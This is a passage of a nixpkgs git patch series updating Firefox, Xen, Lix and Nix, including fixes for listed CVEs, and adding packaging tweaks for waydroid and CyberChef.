     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/tg/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/tg/Firefox%20140.0.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "2dccfae304c30b04b550df94d617098998c0a98ce2a3ebe57cb00797cdbd3c2b";
+      sha256 = "3a19b160e28cfcd100c1f185ac08dd3bbaf627a3ac43151f252c7a6eb15ccbef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/th/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/th/Firefox%20140.0.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "e613b617f9a65dcb9fd4f1e03d581fb507cd25faf679f87dc42ac570c6f5f7ff";
+      sha256 = "c010b6a584872a648d88c03af33d5d721c74ffbd16938ea5cb6752cae636d1b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/tl/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/tl/Firefox%20140.0.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "6efe7c21216267dc62351512345ea66560bfd500f797976e7dc83e70b463ab1a";
+      sha256 = "b62a4a02012c0f71f8220a2b2de969f3d1fa59fa1aba7fcec97e0666f88c1693";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/tr/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/tr/Firefox%20140.0.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "69c54d76eacbb12aa053530aa3ebe35e738b6f02023fa362bbe707a9177b6a58";
+      sha256 = "1fb628f977b870b77fc27339522dff3dd75ba4b105e5c1876c6558514ddcba1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/trs/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/trs/Firefox%20140.0.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "ad940a6df0329b5b55f80e2c13365e2d72cf39ddf67b66cf1e9b3ff6d2f042cc";
+      sha256 = "65591b585579cfe0a28c118686d291a4e131b68803945cf3668225269a2c75a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/uk/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/uk/Firefox%20140.0.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "704b38bd5112e439045cf10e560729371bb3c594087e6ac1aa446eefe966817a";
+      sha256 = "92d20201ebd8ccf76098d6c5aeeb345a8da84cfb1a0f2fd901b663266ab23510";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ur/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ur/Firefox%20140.0.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "b7a68c0c5563050a704f77d10507d09fc92a36ad04f39e4e5204f5adc5af3d5e";
+      sha256 = "1a900caeaeea8d208bd1bfcf6365c8b71526cb6cb01b4caff813636fa930abcd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/uz/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/uz/Firefox%20140.0.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "d1d0176923c64b99c196b726c087e48ea077295a8fb9af86acd933e139d36cb2";
+      sha256 = "335fe10336466a6fc773644ca55aa0b02b12a3452268b2084df676f4f63f6aac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/vi/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/vi/Firefox%20140.0.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "7a09f94b79b2ae9c2a49ed736dab4f7b4bdd8e247e07853be7162c5b2b4231df";
+      sha256 = "c95acd66d454b769d2f0d590a89856d0d7c488d05f7172ed03b886730d095ec1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/xh/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/xh/Firefox%20140.0.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "143fddb9f5726fc718992cd102b76c28db3da234a94f673620bfc329db84b245";
+      sha256 = "7b2da794e59fcba899d3b0fa481b1bcf87a2c0ff37e92a309c580bbac79b7d32";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/zh-CN/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/zh-CN/Firefox%20140.0.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "9bade8971332379a9fcf99aa9541a50fd3a3383797242dc0a7c459a1e4f6a1f2";
+      sha256 = "a62709ca0a15017aa95e26b6295a60d382b94662e2f45e54977991c2f155c753";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/zh-TW/Firefox%20139.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/zh-TW/Firefox%20140.0.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "d3ac4855f2c20fe0719ed01c7a6ad1821f9225f6753286a455e0f53dc5da699f";
+      sha256 = "94de38627dd06786fde9c783315917c2621df7bd6515333044c1efb6e550528d";
     }
   ];
 }

From 56e3da4e409e76b6ae55e2ccf903e46de016a19d Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 23 Jun 2025 16:47:59 +0200
Subject: [PATCH 1490/4511] firefox-esr-128-unwrapped: 128.11.0esr ->
 128.12.0esr

https://www.mozilla.org/en-US/firefox/128.12.0/releasenotes/
(cherry picked from commit 55fbc4c0e05a476550743c164744bea79cbec43e)
---
 .../networking/browsers/firefox/packages/firefox-esr-128.nix  | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix
index a3108e975762..7fc014e12d82 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix
@@ -9,11 +9,11 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "128.11.0esr";
+  version = "128.12.0esr";
   applicationName = "Firefox ESR";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "80af64c1dce6d7a25111480567a3251cc2d1edce00acc4d85bbaa44590f5bbf4c0716f9490c3ab8ef1e6fc2bbabb2379029c2dee51ce477933c7a5935092d279";
+    sha512 = "442d0b2b6ce02adcd878975f01e86548ca8fe93840185d77a1acb41ec99440c7abfdc8757e6f30d60593dcf2c7f50563b6ea6ccd4d239beea01305615b73c359";
   };
 
   meta = {

From 05094ccfadc443bafee2198fabc0ddb9d21c91d8 Mon Sep 17 00:00:00 2001
From: Ihar Hrachyshka <ihar.hrachyshka@gmail.com>
Date: Mon, 23 Jun 2025 18:12:57 -0400
Subject: [PATCH 1491/4511] firefox-esr-128-unwrapped: fix build on darwin

The patch fixes the following failure:

Perma error[E0412]: cannot find type `_Allocator` in this scope

Signed-off-by: Ihar Hrachyshka <ihar.hrachyshka@gmail.com>
(cherry picked from commit e2908c536e25c722d2984ef4a3fd08bbb2c71df6)
---
 .../networking/browsers/firefox/common.nix    |  6 +++++
 .../firefox-cannot-find-type-Allocator.patch  | 26 +++++++++++++++++++
 2 files changed, 32 insertions(+)
 create mode 100644 pkgs/applications/networking/browsers/firefox/firefox-cannot-find-type-Allocator.patch

diff --git a/pkgs/applications/networking/browsers/firefox/common.nix b/pkgs/applications/networking/browsers/firefox/common.nix
index 3f21274f81a7..b51cc38cbc0d 100644
--- a/pkgs/applications/networking/browsers/firefox/common.nix
+++ b/pkgs/applications/networking/browsers/firefox/common.nix
@@ -328,6 +328,12 @@ buildStdenv.mkDerivation {
       # Fixed on Firefox 140
       ./build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch
     ]
+    ++ lib.optionals (lib.versionOlder version "138") [
+      # https://bugzilla.mozilla.org/show_bug.cgi?id=1941479
+      # https://phabricator.services.mozilla.com/D240572
+      # Fixed on Firefox 138
+      ./firefox-cannot-find-type-Allocator.patch
+    ]
     ++ extraPatches;
 
   postPatch =
diff --git a/pkgs/applications/networking/browsers/firefox/firefox-cannot-find-type-Allocator.patch b/pkgs/applications/networking/browsers/firefox/firefox-cannot-find-type-Allocator.patch
new file mode 100644
index 000000000000..5ab5401e1c43
--- /dev/null
+++ b/pkgs/applications/networking/browsers/firefox/firefox-cannot-find-type-Allocator.patch
@@ -0,0 +1,26 @@
+From 518049ce568d01413eeda304e8e9c341ab8849f6 Mon Sep 17 00:00:00 2001
+From: Mike Hommey <mh+mozilla@glandium.org>
+Date: Thu, 6 Mar 2025 09:36:10 +0000
+Subject: [PATCH] Bug 1941479 - Mark mozilla::SmallPointerArray_Element as
+ opaque. r=emilio
+
+Differential Revision: https://phabricator.services.mozilla.com/D240572
+---
+ layout/style/ServoBindings.toml | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/layout/style/ServoBindings.toml b/layout/style/ServoBindings.toml
+index 86c6c3026ce7..2b9a34a81a0f 100644
+--- a/layout/style/ServoBindings.toml
++++ b/layout/style/ServoBindings.toml
+@@ -301,6 +301,7 @@ opaque-types = [
+     "mozilla::dom::Touch",
+     "mozilla::dom::Sequence",
+     "mozilla::SmallPointerArray",
++    "mozilla::SmallPointerArray_Element",
+     "mozilla::dom::Optional",
+     "mozilla::dom::OwningNodeOrString_Value",
+     "mozilla::dom::Nullable",
+-- 
+2.49.0
+

From 39d00bd276db351e7dafc87e6889ff93863cac27 Mon Sep 17 00:00:00 2001
From: wxt <3264117476@qq.com>
Date: Sun, 22 Jun 2025 08:02:37 +0800
Subject: [PATCH 1492/4511] nixos/waydroid: allow override waydroid

(cherry picked from commit ee0937ff0db78d87f57165c89038c0f1dfd22fa4)
---
 nixos/modules/virtualisation/waydroid.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/nixos/modules/virtualisation/waydroid.nix b/nixos/modules/virtualisation/waydroid.nix
index f9891023291c..a26bddc393ae 100644
--- a/nixos/modules/virtualisation/waydroid.nix
+++ b/nixos/modules/virtualisation/waydroid.nix
@@ -8,7 +8,6 @@
 let
   cfg = config.virtualisation.waydroid;
   kCfg = config.lib.kernelConfig;
-  kernelPackages = config.boot.kernelPackages;
   waydroidGbinderConf = pkgs.writeText "waydroid.conf" ''
     [Protocol]
     /dev/binder = aidl2
@@ -26,6 +25,7 @@ in
 
   options.virtualisation.waydroid = {
     enable = lib.mkEnableOption "Waydroid";
+    package = lib.mkPackageOption pkgs "waydroid" { };
   };
 
   config = lib.mkIf cfg.enable {
@@ -49,7 +49,7 @@ in
 
     environment.etc."gbinder.d/waydroid.conf".source = waydroidGbinderConf;
 
-    environment.systemPackages = with pkgs; [ waydroid ];
+    environment.systemPackages = [ cfg.package ];
 
     networking.firewall.trustedInterfaces = [ "waydroid0" ];
 
@@ -63,7 +63,7 @@ in
       serviceConfig = {
         Type = "dbus";
         UMask = "0022";
-        ExecStart = "${pkgs.waydroid}/bin/waydroid -w container start";
+        ExecStart = "${cfg.package}/bin/waydroid -w container start";
         BusName = "id.waydro.Container";
       };
     };
@@ -72,7 +72,7 @@ in
       "d /var/lib/misc 0755 root root -" # for dnsmasq.leases
     ];
 
-    services.dbus.packages = with pkgs; [ waydroid ];
+    services.dbus.packages = [ cfg.package ];
   };
 
 }

From fd5f0893a41d7317e81071ed87ae765b0bf8896e Mon Sep 17 00:00:00 2001
From: wxt <3264117476@qq.com>
Date: Sun, 22 Jun 2025 08:02:45 +0800
Subject: [PATCH 1493/4511] waydroid: adopt

(cherry picked from commit e1d83e3cee69a59ed9b9df80d1441bb607b24f91)
---
 pkgs/by-name/wa/waydroid/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/wa/waydroid/package.nix b/pkgs/by-name/wa/waydroid/package.nix
index 3f968e65745c..6eb1bccd68f7 100644
--- a/pkgs/by-name/wa/waydroid/package.nix
+++ b/pkgs/by-name/wa/waydroid/package.nix
@@ -108,6 +108,6 @@ python3Packages.buildPythonApplication rec {
     homepage = "https://github.com/waydroid/waydroid";
     license = lib.licenses.gpl3Only;
     platforms = lib.platforms.linux;
-    maintainers = with lib.maintainers; [ ];
+    maintainers = with lib.maintainers; [ bot-wxt1221 ];
   };
 }

From 35afa678399584d89b6d586e7e34fff25995cfa0 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Tue, 24 Jun 2025 10:05:24 -0400
Subject: [PATCH 1494/4511] cyberchef: remove with lib

Checkout of pkgs/by-name/cy/cyberchef/package.nix from 51104bca6e7b853662b31699baf526a57da5f2a7.
(Not a cherry-pick because the commit modifies many other files.)
---
 pkgs/by-name/cy/cyberchef/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/cy/cyberchef/package.nix b/pkgs/by-name/cy/cyberchef/package.nix
index bc819b64064f..a1655acfed86 100644
--- a/pkgs/by-name/cy/cyberchef/package.nix
+++ b/pkgs/by-name/cy/cyberchef/package.nix
@@ -20,12 +20,12 @@ stdenv.mkDerivation rec {
     mv * "$out/share/cyberchef"
   '';
 
-  meta = with lib; {
+  meta = {
     description = "Cyber Swiss Army Knife for encryption, encoding, compression and data analysis";
     homepage = "https://gchq.github.io/CyberChef";
     changelog = "https://github.com/gchq/CyberChef/blob/v${version}/CHANGELOG.md";
-    maintainers = with maintainers; [ sebastianblunt ];
-    license = licenses.asl20;
-    platforms = platforms.all;
+    maintainers = with lib.maintainers; [ sebastianblunt ];
+    license = lib.licenses.asl20;
+    platforms = lib.platforms.all;
   };
 }

From 837d259d3a753a3a408d687ebac59bc5c6da0f41 Mon Sep 17 00:00:00 2001
From: Alden Parker <ajparker1401@gmail.com>
Date: Thu, 12 Jun 2025 20:43:02 -0700
Subject: [PATCH 1495/4511] cyberchef: Add binary and desktop item

(cherry picked from commit 0c3e0f861782e61ab4cd959718918ed32475e2bf)
---
 pkgs/by-name/cy/cyberchef/package.nix | 44 ++++++++++++++++++++++++---
 1 file changed, 40 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/cy/cyberchef/package.nix b/pkgs/by-name/cy/cyberchef/package.nix
index a1655acfed86..bed595354e9e 100644
--- a/pkgs/by-name/cy/cyberchef/package.nix
+++ b/pkgs/by-name/cy/cyberchef/package.nix
@@ -1,30 +1,66 @@
 {
   lib,
   fetchzip,
+  fetchurl,
   stdenv,
+  makeDesktopItem,
 }:
 
-stdenv.mkDerivation rec {
-  pname = "cyberchef";
+let
+  icon = fetchurl {
+    url = "https://raw.githubusercontent.com/gchq/CyberChef/c57556f49f723863b9be15668fd240672cd15b09/src/web/static/images/cyberchef-512x512.png";
+    hash = "sha256-Lg9JbVHhdILdrRtxYFWSv9HNJUx98JOaTbs+IbS1eO0=";
+  };
+  desktopItem = (
+    makeDesktopItem {
+      name = "cyberchef";
+      desktopName = "Cyberchef";
+      exec = "cyberchef";
+      icon = "cyberchef";
+      comment = "Cyber Swiss Army Knife for encryption, encoding, compression and data analysis";
+      categories = [ "Development" ];
+    }
+  );
   version = "10.19.4";
+in
+stdenv.mkDerivation {
+  pname = "cyberchef";
+  inherit version;
 
   src = fetchzip {
     url = "https://github.com/gchq/CyberChef/releases/download/v${version}/CyberChef_v${version}.zip";
-    sha256 = "sha256-eOMo7kdxC5HfmMrKUhGZU3vnBXibO2Fz1ftIS9RAbjY=";
+    hash = "sha256-eOMo7kdxC5HfmMrKUhGZU3vnBXibO2Fz1ftIS9RAbjY=";
     stripRoot = false;
   };
 
   installPhase = ''
     mkdir -p "$out/share/cyberchef"
+    mkdir -p "$out/bin"
+
     mv "CyberChef_v${version}.html" index.html
     mv * "$out/share/cyberchef"
+
+    cat <<INI > $out/bin/cyberchef
+    #!/bin/sh
+    xdg-open $out/share/cyberchef/index.html
+    INI
+
+    chmod +x $out/bin/cyberchef
+
+    install -m 444 -D ${icon} $out/share/icons/hicolor/512x512/apps/cyberchef.png
+
+    mkdir -p $out/share/applications/
+    cp ${desktopItem}/share/applications/*.desktop $out/share/applications/
   '';
 
   meta = {
     description = "Cyber Swiss Army Knife for encryption, encoding, compression and data analysis";
     homepage = "https://gchq.github.io/CyberChef";
     changelog = "https://github.com/gchq/CyberChef/blob/v${version}/CHANGELOG.md";
-    maintainers = with lib.maintainers; [ sebastianblunt ];
+    maintainers = with lib.maintainers; [
+      sebastianblunt
+      aldenparker
+    ];
     license = lib.licenses.asl20;
     platforms = lib.platforms.all;
   };

From b3ea0c48e0ce0f9a4de92eb2c12664d3fd84abb2 Mon Sep 17 00:00:00 2001
From: Fernando Rodrigues <alpha@sigmasquadron.net>
Date: Thu, 1 May 2025 17:16:31 -0300
Subject: [PATCH 1496/4511] xen: 4.19.1 -> 4.19.2

Since we won't be upgrading to 4.20 due to the release freeze, we'll
track the 4.19 maintenance updates during the 25.05 release cycle.

Includes patches for XSA #469. (Training Solo)

Signed-off-by: Fernando Rodrigues <alpha@sigmasquadron.net>
---
 pkgs/by-name/xe/xen/package.nix | 14 +++-----------
 1 file changed, 3 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/xe/xen/package.nix b/pkgs/by-name/xe/xen/package.nix
index e5fffebe293b..29d4c68176b2 100644
--- a/pkgs/by-name/xe/xen/package.nix
+++ b/pkgs/by-name/xe/xen/package.nix
@@ -6,16 +6,8 @@
 
 buildXenPackage.override { inherit python3Packages; } {
   pname = "xen";
-  version = "4.19.1";
+  version = "4.19.2";
   patches = [
-    (fetchpatch {
-      url = "https://lore.kernel.org/xen-devel/e2caa6648a0b6c429349a9826d8fbc4338222482.1733766758.git.andrii.sultanov@cloud.com/raw";
-      hash = "sha256-JC1ueXuC1Jdi2gtUsjOHmTeEx56zjotMMLde5vBonxc=";
-    })
-    (fetchpatch {
-      url = "https://xenbits.xenproject.org/xsa/xsa467.patch";
-      hash = "sha256-O2IwfRo6BnXAO04xjKmOyrV6J6Q1mAVLHWNCxqIEQGU=";
-    })
     (fetchpatch {
       url = "https://xenbits.xenproject.org/xsa/xsa469/xsa469-4.19-01.patch";
       hash = "sha256-YUcp9QI49RM/7WCxYzpzppv+vKtyl/NvLy6rIX5hVMw=";
@@ -45,6 +37,6 @@ buildXenPackage.override { inherit python3Packages; } {
       hash = "sha256-9S85nkQ9Nn0cMzyRe4KGrFUaLggVxXBeKhoFF4R0y78=";
     })
   ];
-  rev = "ccf400846780289ae779c62ef0c94757ff43bb60";
-  hash = "sha256-s0eCBCd6ybl+kLtXCC6E1sk++w7txXn/B/Cg5acQFfY=";
+  rev = "f3362182e028119e5ca2ab37e5628b9fa6d21254";
+  hash = "sha256-c6LXYJ61umJb/r5/utwBWLAfy+tIvpK7QLjI3zKfr6Y=";
 }

From 54dadb2a6236ecaa12d72dc8e0a5bdf96d919f84 Mon Sep 17 00:00:00 2001
From: Fernando Rodrigues <alpha@sigmasquadron.net>
Date: Wed, 26 Mar 2025 11:42:48 -0300
Subject: [PATCH 1497/4511] nixos/xen: dehardcode the .pad section from the UKI
 builder

Upstream, intentionally or not, no longer appends the EFI image
with a .pad section for us to hook the rest of the UKI to. This
simply dehardcodes .pad from the awk script, instead using the
very last section in the binary. (Currently .reloc)

Co-authored-by: Yaroslav Bolyukin <iam@lach.pw>
Signed-off-by: Fernando Rodrigues <alpha@sigmasquadron.net>
---
 nixos/modules/virtualisation/xen-boot-builder.sh | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/virtualisation/xen-boot-builder.sh b/nixos/modules/virtualisation/xen-boot-builder.sh
index 1b7c1470f6eb..f8363b337662 100755
--- a/nixos/modules/virtualisation/xen-boot-builder.sh
+++ b/nixos/modules/virtualisation/xen-boot-builder.sh
@@ -1,6 +1,8 @@
 # This script is called by ./xen-dom0.nix to create the Xen boot entries.
 # shellcheck shell=bash
 
+export LC_ALL=C
+
 # Handle input argument and exit if the flag is invalid. See virtualisation.xen.efi.bootBuilderVerbosity below.
 [[ $# -ne 1 ]] && echo -e "\e[1;31merror:\e[0m xenBootBuilder must be called with exactly one verbosity argument. See the \e[1;34mvirtualisation.xen.efi.bootBuilderVerbosity\e[0m option." && exit 1
 case "$1" in
@@ -89,7 +91,8 @@ EOF
         # https://xenbits.xenproject.org/docs/unstable/misc/efi.html.
         [ "$1" = "debug" ] && echo -e "\e[1;34mxenBootBuilder:\e[0m making Xen UKI..."
         xenEfi=$(jq -re '."org.xenproject.bootspec.v1".xen' "$bootspecFile")
-        padding=$(objdump --header --section=".pad" "$xenEfi" | awk '/\.pad/ { printf("0x%016x\n", strtonum("0x"$3) + strtonum("0x"$4))};')
+        finalSection=$(objdump --header --wide "$xenEfi" | tail -n +6 | sort --key="4,4" | tail -n 1 | grep -Eo '\.[a-z]*')
+        padding=$(objdump --header --section="$finalSection" "$xenEfi" | awk -v section="$finalSection" '$0 ~ section { printf("0x%016x\n", and(strtonum("0x"$3) + strtonum("0x"$4) + 0xfff, compl(0xfff)))};')
         [ "$1" = "debug" ] && echo "               - padding: $padding"
         objcopy \
             --add-section .config="$tmpCfg" \

From 7bae94a577fd077053aafa9631aef5c009e793d1 Mon Sep 17 00:00:00 2001
From: Raito Bezarius <masterancpp@gmail.com>
Date: Tue, 24 Jun 2025 15:43:15 +0200
Subject: [PATCH 1498/4511] lixPackageSets.lix_2_90: mark as vulnerable

Change-Id: I10fedc7098aaddb0df67acb76fe730ddd8883319
Signed-off-by: Raito Bezarius <masterancpp@gmail.com>
---
 pkgs/tools/package-management/lix/common-lix.nix | 2 ++
 pkgs/tools/package-management/lix/default.nix    | 4 ++++
 2 files changed, 6 insertions(+)

diff --git a/pkgs/tools/package-management/lix/common-lix.nix b/pkgs/tools/package-management/lix/common-lix.nix
index df64103e8a45..036acaacc044 100644
--- a/pkgs/tools/package-management/lix/common-lix.nix
+++ b/pkgs/tools/package-management/lix/common-lix.nix
@@ -9,6 +9,7 @@
   # `lix-doc`.
   docCargoDeps ? null,
   patches ? [ ],
+  knownVulnerabilities ? [ ],
 }@args:
 
 assert lib.assertMsg (
@@ -388,5 +389,6 @@ stdenv.mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix;
     outputsToInstall = [ "out" ] ++ lib.optional enableDocumentation "man";
     mainProgram = "nix";
+    inherit knownVulnerabilities;
   };
 })
diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index 494c35050823..7220ab7107f1 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -133,6 +133,10 @@ lib.makeExtensible (self: {
         sourceRoot = "${src.name or src}/lix-doc";
         hash = "sha256-VPcrf78gfLlkTRrcbLkPgLOk0o6lsOJBm6HYLvavpNU=";
       };
+
+      knownVulnerabilities = [
+        "Lix 2.90 is vulnerable to CVE-2025-46415 and CVE-2025-46416 and will not receive updates."
+      ];
     };
 
     nix-eval-jobs-args = {

From 8d60adf4adbd7c563adb76cc0a3fa0847d8e64a6 Mon Sep 17 00:00:00 2001
From: Raito Bezarius <masterancpp@gmail.com>
Date: Tue, 24 Jun 2025 15:43:37 +0200
Subject: [PATCH 1499/4511] lixPackageSets.lix_2_91: patch for
 CVE-2025-4641{5,6}

Change-Id: I8042bca710f047ca3c312c6fa7c8227d96f328d4
Signed-off-by: Raito Bezarius <masterancpp@gmail.com>
---
 pkgs/tools/package-management/lix/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index 7220ab7107f1..c6003397e661 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -154,13 +154,13 @@ lib.makeExtensible (self: {
     attrName = "lix_2_91";
 
     lix-args = rec {
-      version = "2.91.1";
+      version = "2.91.2";
 
       src = fetchFromGitHub {
         owner = "lix-project";
         repo = "lix";
         rev = version;
-        hash = "sha256-hiGtfzxFkDc9TSYsb96Whg0vnqBVV7CUxyscZNhed0U=";
+        hash = "sha256-TkRjskDnxMPugdLQE/LqIh59RYQFJLYpIuL8YZva2lM=";
       };
 
       docCargoDeps = rustPlatform.fetchCargoVendor {

From ea596334e8c0d9d42ff56188705964d0f6ab1afe Mon Sep 17 00:00:00 2001
From: Raito Bezarius <masterancpp@gmail.com>
Date: Tue, 24 Jun 2025 15:44:48 +0200
Subject: [PATCH 1500/4511] lixPackageSets.lix_2_93: patch for
 CVE-2025-4641{5,6}

Change-Id: I724ca7bc993594d8b1b262202e423021f6288548
Signed-off-by: Raito Bezarius <masterancpp@gmail.com>
---
 pkgs/tools/package-management/lix/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index c6003397e661..3d2bfddefefd 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -216,14 +216,14 @@ lib.makeExtensible (self: {
     attrName = "lix_2_93";
 
     lix-args = rec {
-      version = "2.93.0";
+      version = "2.93.1";
 
       src = fetchFromGitea {
         domain = "git.lix.systems";
         owner = "lix-project";
         repo = "lix";
         rev = version;
-        hash = "sha256-hsFe4Tsqqg4l+FfQWphDtjC79WzNCZbEFhHI8j2KJzw=";
+        hash = "sha256-LmQhjQ7c+AOkwhvR9GFgJOy8oHW35MoQRELtrwyVnPw=";
       };
 
       cargoDeps = rustPlatform.fetchCargoVendor {

From dc45cefdee643d9cb44c37ae3faa3123864e5d93 Mon Sep 17 00:00:00 2001
From: Raito Bezarius <masterancpp@gmail.com>
Date: Tue, 24 Jun 2025 16:22:39 +0200
Subject: [PATCH 1501/4511] lixPackageSets.lix_2_92: patch for
 CVE-2025-4641{5,6}

Change-Id: Ie7ec879d499be1e67982871659f3a414157a329d
Signed-off-by: Raito Bezarius <masterancpp@gmail.com>
---
 pkgs/tools/package-management/lix/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index 3d2bfddefefd..a8c2e6c4422a 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -186,13 +186,13 @@ lib.makeExtensible (self: {
     attrName = "lix_2_92";
 
     lix-args = rec {
-      version = "2.92.0";
+      version = "2.92.2";
 
       src = fetchFromGitHub {
         owner = "lix-project";
         repo = "lix";
         rev = version;
-        hash = "sha256-CCKIAE84dzkrnlxJCKFyffAxP3yfsOAbdvydUGqq24g=";
+        hash = "sha256-D7YepvFkGE4K1rOkEYA1P6wGj/eFbQXb03nLdBRjjwA=";
       };
 
       cargoDeps = rustPlatform.fetchCargoVendor {

From 070c15299cf396a338504f9a23ed4b77818b3bbc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Sun, 22 Jun 2025 18:52:59 +0200
Subject: [PATCH 1502/4511] nixComponents_2_29: add patch for
 GHSA-g948-229j-48j3

This addresses a TOCTOU (Time-of-Check to Time-of-Use) vulnerability in Nix's
build system that could potentially allow privilege escalation or unauthorized
file access during the build process.

The patch includes:
- Safe file operations using file descriptors
- Secure temporary directory handling
- Safe chown operations
- PassAsFile security improvements
- Path validation fixes

(cherry picked from commit 923146e9275bd0a4331669c1c9f800fe59253b23)
---
 pkgs/tools/package-management/nix/default.nix |  24 +-
 .../patches/ghsa-g948-229j-48j3-2.29.patch    | 449 ++++++++++++++++++
 2 files changed, 462 insertions(+), 11 deletions(-)
 create mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch

diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index 35866d4331fc..a944415b0c46 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -186,17 +186,19 @@ lib.makeExtensible (
         self_attribute_name = "nix_2_28";
       };
 
-      nixComponents_2_29 = nixDependencies.callPackage ./modular/packages.nix rec {
-        version = "2.29.0";
-        inherit (self.nix_2_24.meta) maintainers teams;
-        otherSplices = generateSplicesForNixComponents "nixComponents_2_29";
-        src = fetchFromGitHub {
-          owner = "NixOS";
-          repo = "nix";
-          rev = version;
-          hash = "sha256-fkbE3RCIUPFjS9A6SoEJbgMW3Rs98cs0ZZV/eTtJjaU=";
-        };
-      };
+      nixComponents_2_29 =
+        (nixDependencies.callPackage ./modular/packages.nix rec {
+          version = "2.29.0";
+          inherit (self.nix_2_24.meta) maintainers teams;
+          otherSplices = generateSplicesForNixComponents "nixComponents_2_29";
+          src = fetchFromGitHub {
+            owner = "NixOS";
+            repo = "nix";
+            rev = version;
+            hash = "sha256-fkbE3RCIUPFjS9A6SoEJbgMW3Rs98cs0ZZV/eTtJjaU=";
+          };
+        }).appendPatches
+          [ ./patches/ghsa-g948-229j-48j3-2.29.patch ];
 
